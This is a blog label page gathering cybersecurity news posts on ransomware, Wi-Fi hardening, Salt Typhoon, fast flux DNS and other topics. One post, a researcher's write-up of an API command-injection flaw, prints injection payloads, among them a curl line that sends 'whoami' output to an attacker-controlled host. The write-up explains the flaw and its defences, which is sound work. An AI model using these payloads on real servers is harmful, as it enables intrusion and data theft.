Search This Blog

Powered by Blogger.

Blog Archive

Labels

About Me

Showing posts with label Cyber Security. Show all posts

“They're Just People—But Dangerous Ones”: Trellix's John Fokker Unpacks the Blurred Battlefield of Cybercrime at RSA 2025

 

At the RSA Conference 2025, John Fokker, head of threat intelligence at the Trellix Advanced Research Center, issued a stark reminder to the cybersecurity community that the behind of every cyberattack is a human being and the boundaries between criminals and nation-states are rapidly dissolving. Drawing from his experience as a former officer in the Dutch high-tech crime unit, Fokker urged cybersecurity professionals to stop viewing threats as faceless or purely technical. “Cybercriminals are not abstract concepts,” he said. “They’re individuals—ordinary people who happen to be doing bad things behind a keyboard.” 

His keynote speech stressed the importance of not overlooking basic vulnerabilities in the rush to guard against sophisticated attacks. “Attackers still go for the low-hanging fruit—weak passwords, missing patches, and lack of multi-factor authentication,” he noted. A central theme of his address was the convergence of criminal networks and state-backed operations. “What once were clearly separated entities—financially motivated hackers and state actors...are now intertwined,” Fokker said. “Nation-states are increasingly using proxies or outright criminals to carry out espionage and disruption campaigns.” Fokker illustrated this through a case study involving the notorious Black Basta ransomware group. 

He referenced internal communications that surfaced in an investigation, revealing the group’s leader “Oleg" formerly known as “Tramp” in the Conti gang. Oleg was reportedly arrested upon arriving in Armenia from Moscow last year, but escaped custody just days later. According to leaked chats, he claimed Russian officials orchestrated his return using a so-called “green corridor,” allegedly coordinated by a senior government figure referred to as “number one.” While Fokker clarified that these claims remain unverified, he emphasized they are a troubling sign of potential collaboration between state entities and criminal gangs. 

Still, he reminded attendees that attackers are not infallible. He recounted a failed ransomware attack by Black Basta on a U.S. healthcare organization, where the group’s encryption tool malfunctioned. “They had to fall back on threatening to leak data when the original extortion method broke down,” Fokker explained, highlighting that even seasoned attackers are prone to critical errors.

Approaches Users Can Implement to Safeguard Wireless Connections

 


The Wi-Fi network is a wireless gateway that connects homes and businesses to the Internet via the air, and it is typically provided by a router, which transmits data signals across the network. Mobile devices, laptops, and tablets can access online services using this signal without the need for physical cables. However, if these networks are not properly protected by passwords, they are vulnerable to unauthorised access.

The internet can be accessed by any device within range, regardless of whether it belongs to the homeowner, a guest, or an unknown third party. While wireless internet has many advantages over the internet, it also presents significant security risks, and wireless internet is no exception. If an insecure network is in place, nearby users might be able to see users' online activities, and this could lead to an exposure of their personal information to unauthorised sources. 

Moreover, when malicious actors exploit open networks to engage in illegal activities, such as spreading spam or accessing prohibited content, they may be held accountable by the network's registered owner. These risks underscore why Wi-Fi connections need to be securely protected with robust protection measures to prevent these threats from occurring. 

Understanding Wi-Fi Technology and Its Security Implications


There is a widespread use of a wireless networking technology called Wi-Fi that allows devices such as smartphones, laptops, tablets, and computers to connect to the internet without using physical cables at all. It is important to understand that wireless routers are currently the most common way that internet connections are made, serving as a central hub for all Wi-Fi-enabled devices within a range to receive internet access.

Despite the popular belief that Wi-Fi is an acronym, the actual term "Wi-Fi" is a trademark created by a marketing firm for commercial purposes to promote wireless network certification standards. Essentially, the principle behind Wi-Fi is that data is transmitted through radio waves in the form of a signal. To minimise network congestion and reduce signal interference, it uses two radio frequency bands — usually 2.4 GHz and 5 GHz — that are divided into channels so that signal interference can be minimised. 

A device that attempts to connect to a wireless network transmits data in binary form (the fundamental language used by computers) by using these radio waves when it attempts to connect. Upon receiving this data, the router relays it through a physical internet connection, such as a broadband cable, which establishes a connection with the online servers. End users can gain seamless access to the web virtually instantaneously, which allows them to access the web seamlessly. 

As much as Wi-Fi is popular, it can also expose a network to potential vulnerabilities, as well as its convenience. The security of unsecured networks and poorly configured networks can lead to unauthorised access, data theft, or surveillance by unauthorised users. If an internet connection extends beyond the boundaries of a property—also known as a "signal footprint"—it becomes available for use by anyone nearby, including potentially malicious individuals. 

Depending on the actor, network traffic may be intercepted, credentials may be captured, or even devices may be taken over if they are connected to the network. Users must manage their Wi-Fi settings and ensure that they are secure to reduce these risks. Several basic practices can be employed to improve digital safety and prevent intrusions, including monitoring connected devices, adjusting router configurations, and minimising signal exposure. 

In the past, home security has always been viewed in terms of physical safeguards like door locks, alarms, and surveillance cameras; however, as everyday life becomes increasingly digital, the protection of a household's online presence has become equally important. The risk of a cyber-attack on a home Wi-Fi network that is not secured poses a serious cybersecurity threat, but it often goes unnoticed. If cybercriminals are not adequately protected, they are capable of exploiting network vulnerabilities to gain unauthorised access.

In these cases, the attacker may install malicious software, intercept confidential information like credit card numbers, or even gain access to live camera feeds that compromise both privacy and safety. In extreme cases, attackers may install malicious software, intercept credit card information, or even hijack connected devices. To mitigate these risks, it is crucial to strengthen the security of users' home Wi-Fi networks. 

As a result of a properly secured network, users reduce the possibility of unauthorised access, prevent sensitive data from being exploited, and act as a barrier against hackers. As well as protecting the homeowner's digital footprint, it ensures that only trusted users and devices can access the internet, thus preserving speed and bandwidth and protecting the homeowner's digital footprint. 

In today's connected world, robust Wi-Fi security is no longer optional—it is now an integral part of modern home security.

Configuring a Wi-Fi network to maximise security is an essential step. 


It is important to remember that in addition to adopting general security habits, configuring the router correctly is also an important part of maintaining a reliable and secure wireless network. Numerous key measures are often overlooked by users but are essential in preventing unauthorised access to personal data. 

Set up strong network encryption. 


To keep Wi-Fi communication secure, all modern routers should support WPA3 Personal, which is the industry standard that offers enhanced protection from brute force attacks and unauthorised interceptions. When this standard is not available, there is always the possibility of using WPA2 Personal, which is a strong alternative to WPA3. In the case of older routers, users who have not updated their firmware or have not replaced their router hardware should take note that outdated protocols like WEP and WPA are no longer enough to provide safe and secure connections. 

Change the default router credentials immediately. 


The router manufacturer usually assigns a default username, password, and network name (SSID) to its routers, which information is widely available online, and which can be easily exploited. By replacing these default credentials with unique, complex ones, unauthorised access risk is significantly reduced. In addition to the password used by devices to connect to the Wi-Fi network, the router's administrative password is used to manage the router's settings.

Maintain an up-to-date firmware.


Keeping the router software or firmware up-to-date is one of the most important aspects of keeping it secure. If users intend to configure a new router or make changes, they should visit the manufacturer's website to verify the latest firmware version. 

When users register their routers with the manufacturer and choose to receive updates, they are assured to be informed about critical patches promptly. Users of routers provided by Internet Service Providers (ISPS) should verify whether the updates are automatically handled or if they need to be manually performed. 

Disable High-Risk Features by Default 


There is no denying that certain convenience features, such as Remote Management, Wi-Fi Protected Setup (WPS), and Universal Plug and Play (UPnP), can introduce security weaknesses. Though they simplify the process of connecting devices to a network, they are vulnerable to malicious actors if left active for extended periods. To minimise the potential for attack surfaces, these functions should be disabled during initial setup. 

Establish a Segmented Guest Network


The guest network is a unique way of enabling visitors to use the internet without gaining access to the main network or its connected devices by creating a separate guest network. This segmentation minimises the chance that a guest device could be compromised unintentionally by malware or spyware. Assigning a separate network name and password to the guest network reinforces this layer of isolation, so the guest network doesn't get compromised by the main network. 

The administrator should log out and lock down access to the system.


To prevent unauthorised changes to users' router settings, it is important to log out of the administrative interface after they have configured it. Leaving the administrative interface logged in increases the probability of accidental or malicious changes being made. There are other measures in place to protect their router. 

Turn on the router's built-in firewall.


In most modern routers, a built-in firewall prevents malicious traffic from reaching connected devices, as it filters suspicious traffic before it reaching the device. A router’s firewall can provide additional protection against malware infections, intrusion attempts, and other cyber threats. Users need to verify that the firewall is active in the router’s settings. 

Keep all connected devices secure.

A network's security is just one part of the equation. All connected devices, including laptops, smartphones, smart TVS, and Internet of Things appliances, should be updated with the latest software and protected by anti-virus or anti-malware software. In most cases, an intruder can gain access to a larger network using a compromised device. 

With a blurring of the lines between the physical and digital worlds and the ongoing blurring of the boundaries in which they exist, protecting users' home or office Wi-Fi network has become not just an issue of convenience but a necessity as well. Cybersecurity threats are on the rise, often targeting vulnerabilities within household networks that have been overlooked. 

As a precautionary measure to protect personal data, maintain control over bandwidth, and maintain digital privacy, users need to take a proactive, layered approach to wireless security, so that they can protect themselves against unauthorised access. As well as updating firmware, restricting access, monitoring device activity, and disabling exploitable features, it is crucial that users go beyond default settings. 

Users can create a resilient digital environment by treating Wi-Fi networks in the same manner as physical home security systems do—one that is resistant to intrusion, protects sensitive information, and guarantees uninterrupted, safe connectivity. By doing this, users can build a resilient digital environment. When it comes to protecting themselves against emerging cyber threats, it remains paramount to stay informed and vigilant about the latest developments in technology.

Security Researcher Uncovers Critical RCE Flaw in API Due to Incomplete Input Validation

In a recent security evaluation, a researcher discovered a severe remote code execution (RCE) vulnerability caused by improper backend input validation and misplaced reliance on frontend filters. The vulnerability centered on a username field within a target web application. 

On the surface, this field appeared to be protected by a regular expression filter—/^[a-zA-Z0-9]{1,20}$/—which was designed to accept only alphanumeric usernames up to 20 characters long. However, this filtering was enforced exclusively on the frontend via JavaScript. While this setup may prevent casual misuse through the user interface, it offered no protection once the client-side constraints were bypassed. 

The server did not replicate or enforce these restrictions, creating an opportunity for attackers to supply crafted payloads directly to the backend. Client-Side Regex: A False Sense of Security The researcher quickly identified a dangerous assumption built into the application’s architecture: that client-side validation would be sufficient to sanitize input. This approach led the backend to trust incoming data without question. 

By circumventing the web interface and manually crafting HTTP requests, the researcher was able to supply malicious input that would have been blocked by the frontend regex. This demonstrated a critical weakness in security design. The researcher noted that regular expressions should be viewed as tools to assist in user input formatting, not as security mechanisms. 

When frontend validation is treated as a safeguard rather than a convenience, it opens the door to serious vulnerabilities. Bypassing Protections via Alternate HTTP Methods The most significant discovery came when the researcher explored alternate HTTP methods. While the application interface relied on POST requests—where regex filters were enforced—the backend also accepted PUT requests at the same endpoint. These PUT requests were not subjected to any validation, creating a dangerous inconsistency. 

Using a crafted PUT request with the payload username=;id;, the researcher confirmed the ability to inject and execute arbitrary commands. The server’s response to the id command verified the successful exploitation of this oversight. Further probing revealed the potential for more advanced attacks, including out-of-band (OOB) data exfiltration. 

By submitting a payload like username=;curl http://attacker-controlled.com/$(whoami);, the researcher caused the server to initiate a connection to an external domain. This revealed the active user account running on the server, proving that the command had been executed remotely. The absence of a web application firewall (WAF) allowed this traffic to pass unnoticed, making the attack both silent and effective.  
Architectural Oversight and Security Best Practices This case highlighted a widespread architectural flaw: the fragmentation of security logic between frontend and backend layers. Developers frequently assume that if an input field is restricted on the client side, it is secure—overlooking the need to apply the same or stricter rules on the server. This disconnect is what enabled the exploit. 

The API processed data without verifying whether it adhered to expected formats, and alternative HTTP methods were insufficiently monitored or restricted. To address such risks, experts stress the importance of server-side validation as the primary line of defense. Every piece of input data should be rigorously checked against an allowlist of acceptable values before processing. 

Additionally, output should be sanitized to ensure that even if unsafe input slips through, it cannot be used maliciously. Logging and monitoring are also critical, especially for API endpoints that might be vulnerable to tampering. The deployment of a robust WAF could have detected and blocked these unusual request patterns, such as command injection or OOB callbacks, thereby mitigating the threat before damage occurred.

Posture Management Emerges as Strategic Cybersecurity Priority Amid Cloud and Data Fragmentation

 

Posture management is rapidly evolving into a cornerstone of enterprise cybersecurity as organizations grapple with increasing digital complexity. With infrastructures now sprawling across cloud platforms, identity services, and data environments, the traditional model of siloed risk monitoring is no longer sustainable. As a result, cybersecurity leaders are embracing posture management not only to gauge exposure but also to orchestrate defenses in real time. 

This shift reflects a broader industry movement toward unifying visibility and control. “From a business perspective, large organizations have M&A — they have rollups; they have multiple divisions. They’re not centralized; they’re across globes,” said Erik Bradley, chief strategist and director of research at Enterprise Technology Research. “There’s no way that we’re ever going to see a consolidation on one platform.” 

Bradley shared these insights during a conversation with theCUBE’s Jon Oltsik and Dave Vellante at the RSAC 2025 Conference, hosted by SiliconANGLE Media. The discussion focused on how posture management is becoming integral to modern security operations by improving visibility, minimizing tool sprawl, and enabling strategic risk reduction across complex IT environments. Security teams are increasingly recognizing the limitations of point solutions. 

Instead, they’re exploring how posture management can serve as a foundational layer across enterprise-wide platforms. “We’re carving up terminology and confusing the market,” said Oltsik. “IT is moving so quickly and it’s so specialized that you need specialized posture management tools for cloud, identity, and data.” Leading cybersecurity vendors like CrowdStrike and Palo Alto Networks are embedding posture management into broader security suites, aligning it with automation, identity access controls, and even password management. 

These integrations aim to reduce operational overhead while enabling faster, more accurate threat detection. According to Bradley, these vendors view posture management as both a preventive control in peacetime and a readiness tool in active cyber warfare scenarios. However, challenges persist—particularly around data fragmentation. Although many vendors tout strong telemetry capabilities, few offer complete visibility across all domains. 

This leaves enterprises vulnerable to gaps in their defenses, especially as they try to consolidate vendors and reduce redundancy. “No CSO is going to go all-in with one provider,” Bradley emphasized. “They’re focused on consolidating redundant vendors and streamlining operations without sacrificing visibility or security.” 

As cybersecurity evolves, posture management is no longer a niche function—it’s becoming the backbone of a resilient, scalable defense strategy.

JPMorgan Security Head Warns Tech Firms to Focus on Safer Software

 



Patrick Opet, the Chief Information Security Officer of JPMorgan Chase, has called on software companies to slow down and focus more on building secure systems rather than rushing their products to market. In a public letter, he warned that security gaps in third-party software are creating serious risks, especially as many global businesses now depend on just a handful of technology providers.


The Problem with Relying on External Vendors

Today’s companies use many third-party tools for essential services, from managing data to running operations. But this convenience also comes with danger. When even one of these vendors faces a security issue, it can affect not just one business—but many others connected to it.

Opet shared that JPMorgan has already dealt with several such incidents involving their outside service providers. In these cases, the bank had to respond quickly by cutting off access to the affected vendors and using large amounts of resources to fix the issue and prevent further harm.


Real Events Show the Risk Is Real

Earlier in 2024, the bank revealed that a software issue involving an external provider affected more than 451,000 people. In another case, a flawed software update from cybersecurity firm CrowdStrike caused a massive technical outage worldwide. This update caused millions of Windows devices to crash, affecting airlines, hospitals, banks, and more.


Why Attackers Target Third-Party Tools

Newer tech systems often use tools that connect different platforms to each other. While these tools improve efficiency, they also make it easier for hackers to get inside private company networks. Criminals are increasingly using this path to steal confidential information or disrupt services.

Opet pointed to recent reports showing how state-linked cyber groups are using cloud platforms and remote access software to get into systems and carry out their attacks.


What Needs to Change

Opet released his letter just before a large international cybersecurity conference in San Francisco. He hopes this message will inspire software makers to set higher safety standards, be more honest about how they manage sensitive access, and explore privacy-focused technologies that better protect user data.

His concerns match those of other experts who have also pushed for stronger security measures, including building protections directly into software from the start. Some industry professionals have even said legal accountability should be introduced if providers fail to protect their systems properly.


Understanding the UK’s New Rule on Ransomware Payments in the Public Sector


The UK government has introduced a new policy that stops public sector organizations from making payments to cybercriminals during ransomware attacks. This decision was made to reduce the number of attacks by taking away the money motivation behind them.

The government believes that if attackers know they won’t get paid, they may stop targeting essential services like public hospitals, schools, or councils. However, this move has sparked a lot of discussion among cybersecurity experts and business leaders.


Why This Rule Could Be Difficult to Enforce

While the aim is to protect public services, some people believe organizations might still find ways to make payments secretly. For instance, if a company operates both in the UK and another country, it might use its foreign office to make the payment. Others might try to hide the payment by calling it a regular business expense.

These loopholes could weaken the purpose of the ban. It might even create an unfair situation where some organizations quietly pay and recover faster, while others follow the rules and face longer disruptions.


The Pressure on Business Leaders

Leaders responsible for cybersecurity face a difficult situation. While no one wants to support criminal activity, refusing to pay can lead to bigger problems. For example, a ransomware attack could shut down critical services or expose personal information.

In some extreme cases, businesses might feel that paying the ransom is the only way to continue operations or protect sensitive data. This rule could put extra pressure on leaders who are already struggling to make the right decision during a crisis.


Less Reporting, More Risks

Another concern is that if payments are banned, organizations might stop reporting ransomware incidents altogether. They may choose to hide the true nature of the attack to avoid breaking the law or getting into trouble.

This lack of transparency can be dangerous. If fewer cases are reported, cybersecurity experts won’t have enough data to understand new threats or how attacks are evolving. That means it will be harder to prepare for future attacks, leaving more organizations at risk.


Is There a Better Way Forward?

Many experts believe that instead of a complete ban, the government could allow exceptions in very serious situations. Organizations could be required to report the attack immediately and get approval from authorities before making any payments.

This would give the government better visibility into ransomware activity while still giving organizations the flexibility to act when needed. At the same time, public sector workers should receive better training so they know how to handle cyber threats early and prevent serious damage.

In short, while the new rule is a step toward fighting cybercrime, it’s important to create a balanced plan that supports both security and practicality. 

Digital Danger Zone: America's Rising Cybersecurity Threats

 

A major firm being hacked, facing a cyber threat, or having critical digital data leaked seems to make headlines every day. Cyberattacks increased dramatically worldwide in the first quarter of 2025, with an average of 1,925 attacks per organisation per week. Compared to the same period in 2024, that is an astounding 47% increase. 

The personal information of hundreds of thousands of Americans has been made public by high-profile hacks at organisations like Ticketmaster, AT&T, and UnitedHealth. These kinds of attacks have turned cybersecurity from a technical issue to a national security and economic one. 

New cybercrime front lines 

With cyberattacks expected to skyrocket in 2025, many Americans are investigating what's driving this digital crime wave. One significant factor is our increasing reliance on the internet. As more people and organisations share personal and financial information online, fraudsters' targets have grown in size and profitability. 

The transition to remote employment has also provided new opportunities for attackers. Employees working from home, coffee shops, or communal spaces frequently use unprotected networks and personal devices that lack the security of a corporate IT system. 

Adding to the difficulty, fraudsters are increasingly using artificial intelligence to make their attacks faster, smarter, and more challenging to detect. AI-powered tools enable hackers to automate phishing emails, impersonate reputable websites, and even crack passwords at breakneck speed. As a result, traditional cybersecurity defences are unable to keep pace.

Infrastructure flaws

Cyberattacks are endangering not only private businesses, but also the systems that keep the government functioning. The US Department of Homeland Security has identified sixteen critical infrastructure sectors as crucial to national security, public health, and economic stability. These include energy, healthcare, water systems, financial services, and transportation, among others. 

A successful cyberattack on any of them might result in widespread disruptions, ranging from power outages to delayed emergency services. Ransomware assaults have recently targeted hospitals, oil pipelines, and even public transportation systems, indicating that these sectors are becoming increasingly vulnerable to both cybercriminals and state actors. 

One of the most high-profile incidents occurred in 2021, when a ransomware group targeted the Colonial Pipeline. The attack forced a temporary stoppage of the pipeline, resulting in fuel shortages and price increases across the Southeastern United States. Colonial later paid the hackers $4.4 million in cryptocurrencies to restore its servers. That attack, and others like it, have raised fears that essential utilities and infrastructure are still vulnerable to foreign intrusion. As cyberthreats advance, many experts fear that future attacks may have far larger and more severe consequences.

Remain cautious 

With AI making hacks easier than ever, it is critical to keep ahead of the curve. New legislation, such as updated data privacy laws and tougher cybersecurity regulations, can help safeguard both businesses and citizens from these emerging threats. Beyond legislation, public awareness is crucial. 

Americans should be aware of the most prevalent cybercrime strategies, such as phishing emails, deep fakes, and social engineering frauds. As AI-generated material gets more convincing, fraudulent actors have an easier time impersonating trusted sources or manipulating digital identities. 

Cybersecurity experts emphasise the importance of integrating digital literacy into ordinary education. Small efforts, such as multi-factor authentication and safe browsing practices, can help to reduce risk significantly. Staying vigilant in the age of AI-enhanced cybercrime is not just sensible, but also critical.

Brave Browser’s New ‘Cookiecrumbler’ Tool Aims to Eliminate Annoying Cookie Consent Pop-Ups

 

While the General Data Protection Regulation (GDPR) was introduced with noble intentions—to protect user privacy and control over personal data—its practical side effects have caused widespread frustration. For many internet users, GDPR has become synonymous with endless cookie consent pop-ups and hours of compliance training. Now, Brave Browser is stepping up with a new solution: Cookiecrumbler, a tool designed to eliminate the disruptive cookie notices without compromising web functionality. 

Cookiecrumbler is not Brave’s first attempt at combating these irritating banners. The browser has long offered pop-up blocking capabilities. However, the challenge hasn’t been the blocking itself—it’s doing so while preserving website functionality. Many websites break or behave unexpectedly when these notices are blocked improperly. Brave’s new approach promises to fix that by taking cookie blocking to a new level of sophistication.  

According to a recent announcement, Cookiecrumbler combines large language models (LLMs) with human oversight to automate and refine the detection of cookie banners across the web. This hybrid model allows the tool to scale effectively while maintaining precision. By running on Brave’s backend servers, Cookiecrumbler crawls websites, identifies cookie notices, and generates custom rules tailored to each site’s layout and language. One standout feature is its multilingual capability. Cookie notices often vary not just in structure but in language and legal formatting based on the user’s location. 

Cookiecrumbler accounts for this by using geo-targeted vantage points, enabling it to view websites as a local user would, making detection far more effective. The developers highlight several reasons for using LLMs in this context: cookie banners typically follow predictable language patterns, the work is repetitive, and it’s relatively low-risk. The cost of each crawl is minimal, allowing the team to test different models before settling on smaller, efficient ones that provide excellent results with fine-tuning. Importantly, human reviewers remain part of the process. While AI handles the bulk detection, humans ensure that the blocking rules don’t accidentally interfere with important site functions. 

These reviewers refine and validate Cookiecrumbler’s suggestions before they’re deployed. Even better, Brave is releasing Cookiecrumbler as an open-source tool, inviting integration by other browsers and developers. This opens the door for tools like Vivaldi or Firefox to adopt similar capabilities. 

Looking ahead, Brave plans to integrate Cookiecrumbler directly into its browser, but only after completing thorough privacy reviews to ensure it aligns with the browser’s core principle of user-centric privacy. Cookiecrumbler marks a significant step forward in balancing user experience and privacy compliance—offering a smarter, less intrusive web.

US Targets Chinese Hacker with $10 Million Bounty.

 


There has been a rare and pointed move by the Federal Bureau of Investigation (FBI), which highlights the growing threat of state-sponsored cyberespionage. This was announced through a public announcement earlier this week, stating they would offer a reward of $10 million for credible information that could lead to the identification or capture of individuals linked to the highly sophisticated cyberespionage group Salt Typhoon, which is headquartered in China. 

It is an unprecedented move within the US justice and intelligence communities to counter foreign cyber operations directly targeting the nation's critical infrastructure in a way that signals a growing urgency in the fight. As reported in an official statement released by the FBI, Salt Typhoon is suspected of orchestrating a series of covert cyber intrusions over the past year.

The attackers gained access to sensitive data from multiple telecommunications networks in the United States, gaining an unauthorised level of control. It has been reported that the group had been able to monitor internal communications, gather classified data, and possibly disrupt essential services as a result of these operations, posing a serious threat to national security and public trust in the reliability of American digital infrastructure.

In this announcement, the U.S. State Department announced a reward for individuals who participated in the In the United States, the Rewards for Justice program is an important part of a comprehensive strategy to deter and expose those who are engaged in cybercrime on behalf of foreign governments. Analysts point out that the publicising of the bounty represents a significant shift in the U.S.'s approach to dealing with persistent cyber threats, particularly those emanating from China. 

A strong diplomatic message is also sent by this act: the government will not tolerate state-sponsored cyber attacks and will aggressively pursue those responsible for them through international cooperation, intelligence sharing, and criminal prosecution. Among the ongoing global battles for cyberspace dominance, where technology, geopolitics, and national defence increasingly intersect, this move by the FBI marks a significant turning point.

There is a clear indication that the U.S. is adamant about raising the costs and consequences of cyberwarfare against digital infrastructure, as it becomes increasingly important to economic stability and national security. During the past six months, a series of high-impact cyberattacks has led to the establishment of the Chinese state-sponsored cyber-espionage group known as Salt Typhoon, which has emerged as one of the most prominent and dangerous hacking collectives on the global stage. 

The Salt Typhoon cyber-attack is associated with multiple cyber-intrusions targeting the U.S. national interest. Salt Typhoon is allegedly under the authority of China's Ministry of State Security. As well as compromising a presidential campaigning device of a candidate for president, and exploiting critical vulnerabilities within the nation's telecommunications network, a number of critical vulnerabilities were exploited as well. 

It has been widely recognised that Salt Typhoon is a highly sophisticated persistent threat (APT) group, but it has also acquired other aliases in cybersecurity circles as FamousSparrow, Ghost Emperor, and UNC2286, all of which are indicative of the complex and deceptive organisational structure of the group. Due to these escalating threats, the Federal Bureau of Investigation (FBI) has officially announced a $10 million reward for information that leads to the identification or arrest of individuals involved with Salt Typhoon as a result of this escalating threat. 

The reward part of the U.S Department of State's Rewards for Justice program is specifically aimed at foreign governments or their agents who take part in malicious cyber activities that violate the Computer Fraud and Abuse Act and pose a threat to critical infrastructure in the United States. An FBI security advisory issued by the FBI encourages members of the general public and cybersecurity professionals to share any information they may have about Salt Typhoon's operations. 

Specifically, it emphasizes that the specific individuals behind the campaigns should be identified in order to prevent further crime. In order to learn more about the criteria for eligibility and reporting relevant information, the Rewards for Justice platform should be consulted. This strategic move represents the renewed commitment of the United States authorities to take aggressive action against cybercriminals backed by state entities and strengthen the nation's digital defences. 

According to the U.S. government, three indictments are now on public display, making it clear how widespread and coordinated China's state-sponsored cyber operations are. Eighteen people have been charged with operating a vast campaign of cyber-espionage against American interests in three different cases. A total of three groups of accused have been identified, including two members of the China Ministry of Public Security (MPS) as well as two employees of a nominally private Chinese company, Anxun Information Technology Co Ltd (also known as i-Soon), and eight suspected members of the APT27 group, an advanced persistent threat group.

In cybersecurity circles, this group is referred to as Bronze Union, Emissary Panda, Lucky Mouse, Iron Tiger, Silk Typhoon, and Threat Group 3390, all of which are aliases associated with China's Ministry of State Security (MSS), which reflect its covert and multifaceted operations. It has been confirmed by the Department of Justice that the i-Soon technicians were in charge of performing unauthorised computer intrusions on behalf of the MPS and the MSS, according to the Department of Justice. 

It has been revealed by the indictments that these actors have not only carried out state-directed attacks, but they have also committed independent data thefts to gain a personal advantage. As a result of the large financial payment made, the stolen information was turned over to the Chinese authorities in exchange for the payment. Throughout China's broader espionage ecosystem, it is becoming increasingly difficult to distinguish between government-backed cyber operations and contractor-led cyber operations. In light of the revelations, the U.S. government is continuing to work on exposing and deterring foreign cyber actors who are posing a threat to the country's security. 

In addition to these initiatives, the State Department's Rewards for Justice program is offering financial incentives to those who provide information that could lead to the identification and arrest of those engaged in such activities. Washington is taking steps to hold cybercriminals accountable and safeguard critical American infrastructure from sustained foreign intrusion, regardless of their affiliation or geographical location, with the indictments and corresponding public appeals. 

As the global cyber landscape grows increasingly volatile, the United States is taking a stronger stance to counter the increasing threats that are coming from state-sponsored organisations. As a result of coordinated legal action, information disclosure, and strategic financial incentives, U.S. authorities are serving notice that hostile cyber operations, particularly those employed by foreign governments, will face tangible consequences if they are not stopped. As a result of the unsealing of indictments, which were accompanied by a substantial bounty of $10 million, not only does this demonstrate the seriousness of the threat from groups like Salt Typhoon and APT2 but also highlights the need for increased international collaboration in tracking such actors and neutralising them. 

It is with great significance that one takes note of how modern conflict is evolving as digital infrastructure is both a battlefield and a target. Public awareness and cooperation must play an important role in the broader defence strategy as the FBI and the Department of State intensify their efforts to expose and disrupt these cyber-espionage networks. 

Even though many people are concerned about the threat of state-sponsored intrusions, it is highly urged that government agencies, private sector companies, and cybersecurity professionals remain vigilant and proactive in reporting suspicious activities. The threat of cyber warfare is becoming more and more prevalent with the emergence of more cyberterrorist attacks around the world. There can be no effective protection against such attacks without collective effort.

Fast Flux Technique Identified as Growing Risk to US Cyber Infrastructure

 


A sophisticated cybercriminal technique called fast flux is being increasingly employed by cybercriminals, which is causing heightened concerns among intelligence agencies and cybersecurity agencies throughout the world. 

It has been reported in April 2025 that the United States National Security Agency (NSA), in conjunction with allied organizations, has issued a joint cyber advisory warning that fast flux poses a serious threat to national security, as a result of the use of fast flux. As per the advisory, using this technique allows both criminals and state-sponsored threat actors to create command-and-control infrastructures (C2) that are highly resistant to detection and disruption, and that are very difficult to detect or disrupt. 

As a result, the IP addresses of malicious domains are frequently rotated through a network of compromised systems, known as botnets, to create a continuous flow of malicious IP addresses. Defending against cyberattacks is extremely challenging due to the constant flux of IP addresses. This makes it extremely difficult for defenders to identify, track, or block the infrastructure supporting those attacks. 

Therefore, adversaries can conceal their actions and maintain persistent access to targeted systems and networks. It was noted by the National Intelligence Agency that this technique has been employed to facilitate a wide range of malicious operations, such as cyber espionage, phishing schemes, ransomware deployments, and other forms of cybercrime as well. As fast flux is increasingly being adopted by threat actors, it underscores the need for advanced defensive measures, as well as increased international collaboration, in the fight against emerging cyber threats. 

Fast flux is a DNS-based obfuscation technique increasingly used by cybercriminals to evade detection and disrupt conventional security measures to avoid detection. This method of cloaking the true location of malicious servers, as it rapidly alters the IP addresses associated with a domain name, makes it very difficult for cybersecurity teams to identify and eliminate malicious servers. 

By utilizing DNS's dynamic nature, the technique can keep malicious infrastructure running smoothly even when individual IP addresses and servers are discovered and taken down, while utilizing DNS's dynamic nature. It has been found that fast flux can be divided into two distinct types: single flux and double flux. A single flux is defined as a continuous rotation of the IP addresses associated with a domain name. This process usually draws from a large pool of compromised machines to maintain the integrity of the domain name. 

A double flux adds to this complexity by rotating the authoritative name servers as well, further complicating the infrastructure and making tracking harder. By taking advantage of this dynamic and distributed approach, attackers can build highly resilient command-and-control networks based on a global network of infected devices that are capable of maintaining operations for a long time. 

It is a variant of fast flux that introduces a layer of obfuscation and network resiliency to the network by rotating not only the IP addresses that point to a malicious domain, but also the DNS name servers that conduct domain lookups. Double flux adds a level of obfuscation and network resilience. As a result of this method, it becomes much more challenging for cybercriminals to track and dismantle their networks. 

As a result of security analysis, it has been found that DNS records from both Name Server (NS) and Canonical Name (CNAME) are used in double flux configurations, making it even more difficult to trace the root cause of malicious activity. According to a recent advisory issued on Thursday, both single flux and double flux techniques make use of vast networks of compromised hosts that act as proxies and relays, commonly called botnets. 

Consequently, network defenders are unable to identify, block, or pursue legal actions against the infrastructure supporting cyberattacks because of this distributed architecture. Fast flux, with its persistence and evasiveness, has become one of the most popular tactics among cybercriminals as well as government agencies and foreign governments alike. In the world of cyber threats, it has proven its strategic value and prevalence as well as its increasing prevalence. 

To differentiate themselves within the illegal marketplace, bulletproof hosting services, which are geared specifically towards criminal enterprises, use fast flux as part of their operation to harden their operations and distinguish themselves from their competitors. Several ransomware groups, such as Hive and Nefilim, have implemented fast flux into their campaigns to retain control over their infrastructure while avoiding detection by the authorities. 

Moreover, it has been documented that Russian-backed Gamaredon, a group of threat actors associated with the Kremlin, used the technique as part of their cyber espionage activities, highlighting its appeal to state-allied actors involved in geopolitical cyber operations. Cybersecurity experts recommend that a multifaceted defence strategy be developed to prevent fast flux from posing any threat. 

Several key measures include blocking known malicious IP addresses, sinkholing suspicious domains for disruptions in attacker communications, filtering traffic according to domain reputation, and training targeted users about phishing techniques and social engineering. It is crucial to monitor DNS activity constantly for anomalies or strange patterns to detect fast flux networks in advance of their ability to inflict significant damage. 

As a result of fast flux deployment, command-and-control (C2) communications are not the only applications that can be made use of to maintain command-and-control communications—it can also play a crucial role in enabling phishing campaigns by making malicious websites used to conduct social engineering attacks much more difficult to detect, block, or compromise. This method of attack enables phishing infrastructure to persist more effectively by rotating IP addresses and obscuring server locations, giving hackers greater ease in bypassing traditional filtering and takedown mechanisms. 

Furthermore, bulletproof hosting providers are increasingly promoting fast flux as a distinguishing feature in their services, since they can offer resilient and anonymous infrastructure to criminals. A fast flux service provider markets itself as providing a value-added capability that enhances the effectiveness and survivability of malicious operations, such as malware distribution, credential theft, and ransomware deployment. 

In April 2025, a coalition of international cybersecurity authorities issued a joint Cybersecurity Advisory (CSA) to address the growing threats posed by fast-flux networks. As part of the advisory, the U.S. National Security Agency (NSA), the Cybersecurity and Infrastructure Security Agency (CISA), and the Federal Bureau of Investigation (FBI) have collaborated. 

